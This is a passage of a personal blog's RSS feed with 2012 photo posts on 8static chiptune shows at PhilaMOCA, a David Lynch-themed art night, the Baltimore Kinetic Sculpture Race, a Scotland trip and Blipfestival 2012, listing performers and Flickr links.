        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>meta</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>8static 2F - November 2012 Photos</title>
        <link>https://ben.the-collective.net/posts/2012-12-04-8static-2f-november-2012-photos/</link>
        <pubDate>Tue, 04 Dec 2012 19:34:18 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 04 Dec 2012 19:34:18 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-12-04-8static-2f-november-2012-photos/</guid>
        <description>8static 2F
November 10th, 2012
at PhilaMOCA
Full Set a Flickr:
http://www.flickr.com/photos/su1droot/sets/72157632170077249
music:
Animal Style (PHL)
exileFaker (NYC)
Dream Fox (STL)
visuals:
noteNdo (NYC)
Preshow
SKGB – No-Input Mixing and Creative Use of Distortion
Dream Fox
exileFaker
Animal Style</description>
        <content:encoded>&lt;p&gt;&lt;strong&gt;8static 2F&lt;/strong&gt;&lt;br /&gt;
November 10th, 2012&lt;br /&gt;
at PhilaMOCA&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Full Set a Flickr:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157632170077249&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157632170077249&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;music:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://animal-style.com/&#34;&gt;Animal Style&lt;/a&gt; (PHL)&lt;br /&gt;
&lt;a href=&#34;http://www.exilefaker.info/&#34;&gt;exileFaker&lt;/a&gt; (NYC)&lt;br /&gt;
&lt;a href=&#34;http://lameboyz.bandcamp.com/&#34;&gt;Dream Fox&lt;/a&gt; (STL)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;visuals:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://notendo.com/&#34;&gt;noteNdo&lt;/a&gt; (NYC)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Preshow&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://skgb.bandcamp.com/&#34;&gt;SKGB&lt;/a&gt; – No-Input Mixing and Creative Use of Distortion&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/8245053095/in/set-72157632170077249&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/12/20121110205054IMG_8247.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Dream Fox&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/8245064205/in/set-72157632170077249&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/12/20121110221402IMG_8362.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
exileFaker&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/8245057979/in/set-72157632170077249&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/12/20121110213016IMG_8293.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Animal Style&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>8static</category>
            
          
            
              <category>photos</category>
            
          
            
              <category>music</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>8static 2E - October 2012</title>
        <link>https://ben.the-collective.net/posts/2012-11-07-8static-2e/</link>
        <pubDate>Wed, 07 Nov 2012 23:32:22 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 07 Nov 2012 23:32:22 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-11-07-8static-2e/</guid>
        <description>8static 2E
October 13th, 2012
4th Anniversary Show!!
My full Flickr Set:
http://www.flickr.com/photos/su1droot/sets/72157631957774315
music:
Bit Shifter (NYC)
Radlib (CT)
an0va (PHL)
Nikola Whallon (DET)
visuals:
NO CARRIER (NYC)
Chromacle (PHL)
Animal Style (PHL)
8static Alumni Showcase
One hour of music by 12 veteran 8static performers plus surprises!!
animal style – cheap dinosaurs
AdamGetsAwesome – kris keyser
bubblyfish – ro-bear
br1ght pr1mate – chipocrite
alex mauer – inverse phase
saint – exilefaker</description>
        <content:encoded>&lt;p&gt;&lt;strong&gt;8static 2E&lt;/strong&gt;&lt;br /&gt;
October 13th, 2012&lt;br /&gt;
&lt;strong&gt;4th Anniversary Show!!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;My full Flickr Set:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157631957774315&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157631957774315&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;music:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://bit.shifter.net/&#34;&gt;Bit Shifter&lt;/a&gt; (NYC)&lt;br /&gt;
&lt;a href=&#34;http://www.facebook.com/RadlibFM&#34;&gt;Radlib&lt;/a&gt; (CT)&lt;br /&gt;
&lt;a href=&#34;http://www.facebook.com/an0va&#34;&gt;an0va&lt;/a&gt; (PHL)&lt;br /&gt;
&lt;a href=&#34;http://www.nikolawhallon.com/&#34;&gt;Nikola Whallon&lt;/a&gt; (DET)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;visuals:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.no-carrier.com/&#34;&gt;NO CARRIER&lt;/a&gt; (NYC)&lt;br /&gt;
&lt;a href=&#34;http://chromacle.com/&#34;&gt;Chromacle&lt;/a&gt; (PHL)&lt;br /&gt;
&lt;a href=&#34;http://animal-style.com/&#34;&gt;Animal Style&lt;/a&gt; (PHL)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;8static Alumni Showcase&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;One hour of music by 12 veteran 8static performers plus surprises!!&lt;br /&gt;
animal style – cheap dinosaurs&lt;br /&gt;
AdamGetsAwesome – kris keyser&lt;br /&gt;
bubblyfish – ro-bear&lt;br /&gt;
br1ght pr1mate – chipocrite&lt;br /&gt;
alex mauer – inverse phase&lt;br /&gt;
saint – exilefaker&lt;br /&gt;
void vision – decktonic&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/8165879632/in/set-72157631957774315&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/11/20121013212521IMG_1775.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Nikola Whallon&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://ben.the-collective.net/images/2012/11/20121013220449IMG_1875.jpg&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/11/20121013220449IMG_1875.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
an0va&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://ben.the-collective.net/images/2012/11/20121013224711IMG_1960.jpg&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/11/20121013224711IMG_1960.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Bit Shifter&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://ben.the-collective.net/images/2012/11/20121013232305IMG_7922.jpg&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/11/20121013232305IMG_7922.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Radlib&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>8static</category>
            
          
            
              <category>photos</category>
            
          
            
              <category>music</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>8static 2D - September 2012</title>
        <link>https://ben.the-collective.net/posts/2012-10-03-8static-2d-september-2012/</link>
        <pubDate>Wed, 03 Oct 2012 18:12:07 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 03 Oct 2012 18:12:07 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-10-03-8static-2d-september-2012/</guid>
        <description>8static 2D
September 22nd, 2012
music:
Danimal Cannon (BUF)
Trey Frey (WV)
Oven Rake (SEA)
visuals:
Animal Style (PHL)
Pre-Show
The real-time rendering of game engines opens up possibilities for audiovisual performance. Game art duo Foci + Loci will present an examination of their work process in Little Big Planet 2 providing an opportunity for participants to collectively build and perform in a simulated environment.
Flickr Set:
http://www.flickr.com/photos/su1droot/sets/72157631686231660/
Oven Rake</description>
        <content:encoded>&lt;p&gt;&lt;strong&gt;8static 2D&lt;/strong&gt;&lt;br /&gt;
September 22nd, 2012&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;music:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.facebook.com/danimalcannonmusic/&#34;&gt;Danimal Cannon&lt;/a&gt; (BUF)&lt;br /&gt;
&lt;a href=&#34;http://treyfrey.net/&#34;&gt;Trey Frey&lt;/a&gt; (WV)&lt;br /&gt;
&lt;a href=&#34;http://www.ovenrake.com/&#34;&gt;Oven Rake&lt;/a&gt; (SEA)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;visuals:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://animal-style.com/&#34;&gt;Animal Style&lt;/a&gt; (PHL)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pre-Show&lt;/strong&gt;&lt;br /&gt;
The real-time rendering of game engines opens up possibilities for audiovisual performance. Game art duo Foci + Loci will present an examination of their work process in Little Big Planet 2 providing an opportunity for participants to collectively build and perform in a simulated environment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flickr Set:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157631686231660/&#34; title=&#34;Flickr&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157631686231660/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://ben.the-collective.net/images/2012/10/20120922201945IMG_0760.jpg&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/10/20120922201945IMG_0760.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Oven Rake&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/8051945435/in/set-72157631686231660&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/10/20120922205301IMG_0810.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Trey Frey&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/8051958731/in/set-72157631686231660&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/10/20120922214616IMG_0938.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Danimal Cannon&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>8static</category>
            
          
            
              <category>photos</category>
            
          
            
              <category>music</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>8static 2C - August 2012</title>
        <link>https://ben.the-collective.net/posts/2012-08-12-8static-2c-august-2012/</link>
        <pubDate>Sun, 12 Aug 2012 21:46:34 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sun, 12 Aug 2012 21:46:34 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-08-12-8static-2c-august-2012/</guid>
        <description>8static 2C
August 4th, 2012
music:
Chipocrite (PHL)
Bright Primate (BOS)
Smiletron(TEN)
visuals:
CHiKA (NYC)
Pre-Show
Rhythm &amp;amp; Groove with LSDJ – Daniel Davis (an0va)
Flickr Set: http://www.flickr.com/photos/su1droot/sets/72157631041916158/
smiletron
BR1GHT PR1MATE
Chipocrite</description>
        <content:encoded>&lt;p&gt;&lt;strong&gt;8static 2C&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;August 4th, 2012&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;music:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.chipocrite.com/&#34;&gt;Chipocrite&lt;/a&gt; (PHL)&lt;br /&gt;
&lt;a href=&#34;http://brightprimate.bandcamp.com/&#34;&gt;Bright Primate&lt;/a&gt; (BOS)&lt;br /&gt;
&lt;a href=&#34;http://www.smiletron.org/&#34;&gt;Smiletron&lt;/a&gt;(TEN)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;visuals:&lt;/strong&gt;&lt;br /&gt;
CHiKA (NYC)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pre-Show&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Rhythm &amp;amp; Groove with LSDJ – Daniel Davis (an0va)&lt;br /&gt;
Flickr Set: &lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157631041916158/&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157631041916158/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7770648334/in/set-72157631041916158&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/08/20120804200253IMG_9885.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
smiletron&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7770657044/in/set-72157631041916158&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/08/20120804205907IMG_0006.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
BR1GHT PR1MATE&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7770673116/in/set-72157631041916158&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/08/20120804220026IMG_0215.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Chipocrite&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>8static</category>
            
          
            
              <category>photos</category>
            
          
            
              <category>music</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>8static 2B @ PhilaMOCA</title>
        <link>https://ben.the-collective.net/posts/2012-07-29-8static-2b-philamoca/</link>
        <pubDate>Sun, 29 Jul 2012 15:10:57 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sun, 29 Jul 2012 15:10:57 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-07-29-8static-2b-philamoca/</guid>
        <description>8static 2B July 14th, 2012
@ PhilaMOCA
music:
Bubblyfish (NYC)
Dain Saint (PHL)
Watabou (MI)
visuals:
Invaderbacca (NY)
Pre Show
Intro to Deflemask with The Dutchess
Flickr Set: http://www.flickr.com/photos/su1droot/sets/72157630808535010/
Watabou
Dain Saint
Bubblyfish</description>
        <content:encoded>&lt;p&gt;&lt;strong&gt;8static 2B July 14th, 2012&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;@ PhilaMOCA&lt;br /&gt;
&lt;strong&gt;music:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.bubblyfish.com/&#34;&gt;Bubblyfish&lt;/a&gt; (NYC)&lt;br /&gt;
&lt;a href=&#34;http://dainsaint.com/&#34;&gt;Dain Saint&lt;/a&gt; (PHL)&lt;br /&gt;
&lt;a href=&#34;https://soundcloud.com/watabou&#34;&gt;Watabou&lt;/a&gt; (MI)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;visuals:&lt;/strong&gt;&lt;br /&gt;
&lt;a href=&#34;http://www.facebook.com/invaderbacca&#34;&gt;Invaderbacca&lt;/a&gt; (NY)&lt;/p&gt;
&lt;p&gt;Pre Show&lt;br /&gt;
Intro to Deflemask with The Dutchess&lt;/p&gt;
&lt;p&gt;Flickr Set: &lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157630808535010/&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157630808535010/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://http://500px.com/photo/10693223?from=set/344297&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/07/20120714201347IMG_9397.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Watabou&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://500px.com/photo/10692815?from=set/344297&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/07/20120714210253IMG_9540.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Dain Saint&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://500px.com/photo/10693099?from=set/344297&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/07/20120714222924IMG_9744.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Bubblyfish&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>8static</category>
            
          
            
              <category>photos</category>
            
          
            
              <category>music</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>ERASERHOOD FOREVER: A David Lynch-themed celebration</title>
        <link>https://ben.the-collective.net/posts/2012-07-25-eraserhood-forever-a-david-lynch-themed-celebration/</link>
        <pubDate>Wed, 25 Jul 2012 16:00:09 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 25 Jul 2012 16:00:09 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-07-25-eraserhood-forever-a-david-lynch-themed-celebration/</guid>
        <description>ERASERHOOD FOREVER: A David Lynch-themed celebration @ philaMOCA
I went out to see a David Lynch inspired art event at PhilaMOCA, it was a packed out and missed some of the earlier events but got to see the performances of Void Vision and Full Blown Cherry. Along with this a Mural by Evan Cairo was painted on the side of PhilaMOCA!
Flickr Set: http://www.flickr.com/photos/su1droot/sets/72157630698715086
ERASERHOOD Mural by Evan Cairo
Full Blown Cherry</description>
        <content:encoded>&lt;p&gt;ERASERHOOD FOREVER: A David Lynch-themed celebration @ philaMOCA&lt;/p&gt;
&lt;p&gt;I went out to see a David Lynch inspired art event at PhilaMOCA, it was a packed out and missed some of the earlier events but got to see the performances of &lt;a href=&#34;http://voidvision.bandcamp.com/&#34;&gt;Void Vision&lt;/a&gt; and &lt;a href=&#34;http://www.myspace.com/fullblowncherry&#34;&gt;Full Blown Cherry&lt;/a&gt;. Along with this a Mural by Evan Cairo was painted on the side of PhilaMOCA!&lt;/p&gt;
&lt;p&gt;Flickr Set: &lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157630698715086&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157630698715086&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://ben.the-collective.net/images/2012/07/20120703181057IMG_88601.jpg&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/07/20120703181057IMG_88601.jpg&#34; alt=&#34;ERASERHOOD Mural by Evan Cairo&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
ERASERHOOD Mural by Evan Cairo&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://500px.com/photo/10254023?from=set/335845&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/07/20120713223334IMG_9226.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Full Blown Cherry&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://500px.com/photo/10253827?from=set/335845&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/07/20120713205602IMG_9128.jpg&#34; alt=&#34;Void Vision&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Void Vision&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://ben.the-collective.net/images/2012/07/20120713230830IMG_9290.jpg&#34;&gt;&lt;img src=&#34;https://ben.the-collective.net/images/2012/07/20120713230830IMG_9290.jpg&#34; alt=&#34;Full Blown Cherry&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Full Blown Cherry&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>music</category>
            
          
            
              <category>photos</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>Baltimore Kinetic Sculpture Race 2012</title>
        <link>https://ben.the-collective.net/posts/2012-07-22-baltimore-kinetic-sculpture-race-2012/</link>
        <pubDate>Sun, 22 Jul 2012 12:56:15 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sun, 22 Jul 2012 12:56:15 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-07-22-baltimore-kinetic-sculpture-race-2012/</guid>
        <description>Back in May I went down to the Baltimore Kinetic Sculpture race, it was another great race! The pace seemed to have picked in comparison to years past. My favorite sculpture was Loose Canon! You can find out more about this event at,
http://www.kineticbaltimore.com/
This years Flickr Set, http://www.flickr.com/photos/su1droot/sets/72157630348983174/
Previous Years Photos
2010 –http://www.flickr.com/photos/su1droot/sets/72157624167740136/
2009 – http://www.flickr.com/photos/su1droot/sets/72157617704372492/
Loose Cannon
Rumspringa
El PLATYPUS</description>
        <content:encoded>&lt;p&gt;Back in May I went down to the Baltimore Kinetic Sculpture race, it was another great race! The pace seemed to have picked in comparison to years past. My favorite sculpture was Loose Canon! You can find out more about this event at,&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.kineticbaltimore.com/&#34; title=&#34;http://www.kineticbaltimore.com/&#34;&gt;http://www.kineticbaltimore.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This years Flickr Set, &lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157630348983174/&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157630348983174/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Previous Years Photos&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2010 –&lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157624167740136/&#34; title=&#34;http://www.flickr.com/photos/su1droot/sets/72157624167740136/&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157624167740136/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2009 – &lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157617704372492/&#34; title=&#34;http://www.flickr.com/photos/su1droot/sets/72157617704372492/&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157617704372492/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7469858214/in/set-72157630348983174&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7248/7469858214_b902d13774_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Loose Cannon&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7469848216/in/set-72157630348983174&#34;&gt;&lt;img src=&#34;https://farm9.staticflickr.com/8143/7469848216_cbafb69ddb_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Rumspringa&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7469811630/in/set-72157630348983174&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7252/7469811630_81b56c175b_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
El PLATYPUS&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>photos</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>Scotland Vacation!</title>
        <link>https://ben.the-collective.net/posts/2012-06-20-scotland-vacation/</link>
        <pubDate>Wed, 20 Jun 2012 18:23:37 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Wed, 20 Jun 2012 18:23:37 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-06-20-scotland-vacation/</guid>
        <description>I was able to take a vacation in Scotland and saw many sites, saw a many lovely vistas, got lucky with the weather. Took some great pictures.
The 280 Image Flickr Set, http://www.flickr.com/photos/su1droot/sets/72157630185196924
Glencoe
Glenfinnan Viaduct
Jedburgh Abbey</description>
        <content:encoded>&lt;p&gt;I was able to take a vacation in Scotland and saw many sites, saw a many lovely vistas, got lucky with the weather. Took some great pictures.&lt;/p&gt;
&lt;p&gt;The 280 Image Flickr Set, &lt;a href=&#34;http://www.flickr.com/photos/su1droot/sets/72157630185196924&#34;&gt;http://www.flickr.com/photos/su1droot/sets/72157630185196924&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7398190136/in/set-72157630185196924&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7105/7398190136_638e9f2f89_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Glencoe&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7398236720/in/set-72157630185196924&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7239/7398236720_f05446bc51_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Glenfinnan Viaduct&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.flickr.com/photos/su1droot/7398351036/in/set-72157630185196924&#34;&gt;&lt;img src=&#34;https://farm8.staticflickr.com/7232/7398351036_ebe6bb54e2_z_d.jpg&#34; alt=&#34;&#34; /&gt;&lt;/a&gt;&lt;br /&gt;
Jedburgh Abbey&lt;/p&gt;
</content:encoded>
        <dc:creator>Ben Mason</dc:creator>
        
        
        
        
          
            
              <category>travel</category>
            
          
            
              <category>photos</category>
            
          
        
        
        
      </item>
      
      <item>
        <title>Blipfestival 2012 - Day 3</title>
        <link>https://ben.the-collective.net/posts/2012-05-28-blipfestival-2012-day-3/</link>
        <pubDate>Mon, 28 May 2012 15:39:27 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Mon, 28 May 2012 15:39:27 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2012-05-28-blipfestival-2012-day-3/</guid>
        <description>Blipfestival 2012 – Day 3 @ Gramercy Theater
Day 3 brought another amazing Blipfestival to a close! I had a amazing exhausting 3 days of great music, great visuals and great friends! There were performances by,
Burnkit2600
NO CARRIER
deadbeatblast
FlashHeart
enso
Danimal Cannon
CHiKA
Monodeer
Batsly Adams Infinity Shred
Jean Y. Kim
Dr. Von Pnok
Chromacle
MisfitChris
enso
Full Blipfestival Flickr set at,
http://www.flickr.com/photos/su1droot/sets/72157629939248474
deadbeatblast
FlashHeart
Danimal Cannon
Infinity Shred</description>
        <content:encoded>&lt;p&gt;Blipfestival 2012 – Day 3 @ Gramercy Theater&lt;/p&gt;
&lt;p&gt;Day 3 brought another amazing Blipfestival to a close! I had a amazing exhausting 3 days of great music, great visuals and great friends! There were performances by,&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://blipfestival.org/2012/burnkit2600/&#34;&gt;Burnkit2600&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/no-carrier/&#34;&gt;NO CARRIER&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/deadbeatblast/&#34;&gt;deadbeatblast&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/flashheart/&#34;&gt;FlashHeart&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/enso/&#34;&gt;enso&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/danimal-cannon/&#34;&gt;Danimal Cannon&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/chika/&#34;&gt;CHiKA&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/monodeer/&#34;&gt;Monodeer&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/batsly-adams/&#34;&gt;Batsly Adams &lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/infinity-shred&#34;&gt;Infinity Shred&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/jean-y-kim/&#34;&gt;Jean Y. Kim&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/dr-von-pnok/&#34;&gt;Dr. Von Pnok&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/chromacle/&#34;&gt;Chromacle&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/misfitchris/&#34;&gt;MisfitChris&lt;/a&gt;&lt;br /&gt;
&lt;a href=&#34;http://blipfestival.org/2012/enso/&#34;&gt;enso&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Full Blipfestival Flickr set at,&lt;/p&gt;
